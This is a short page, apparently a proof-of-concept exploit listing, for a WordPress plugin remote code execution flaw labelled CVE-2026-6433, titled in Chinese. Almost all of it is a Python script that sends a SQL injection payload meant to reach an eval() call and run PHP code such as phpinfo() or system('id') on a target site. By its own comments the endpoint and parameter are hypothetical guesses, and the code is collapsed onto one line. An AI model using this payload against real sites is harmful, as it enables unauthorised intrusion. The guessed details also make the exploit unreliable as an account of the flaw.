CVE-2026-6433 WordPress插件远程代码执行漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-6433 Exploits SQL Injection leading to eval() RCE. Note: The specific endpoint parameter might vary based on plugin configuration. """ # Hypothetical endpoint and parameter based on typical plugin structures full_url = f"{target_url}/wp-content/plugins/custom-css-js-php/public/index.php" # Payload attempts to inject PHP code into a SQL query result that is passed to eval() # Example: ' OR '1'='1' UNION SELECT 'system("id");' # # Assuming the vulnerable query selects a value that is then eval'd. payload_data = { "css_id": "1 UNION SELECT 'phpinfo();'-- -" } try: response = requests.post(full_url, data=payload_data, timeout=10) # Check if the output contains signs of phpinfo execution if "PHP Version" in response.text or "phpinfo()" in response.text: return "[+] Vulnerability confirmed: Remote Code Execution successful." else: return "[-] Target may not be vulnerable or payload incorrect." except Exception as e: return f"[!] Error occurred: {str(e)}" if __name__ == "__main__": target = "http://example.com" # Replace with target print(check_vulnerability(target))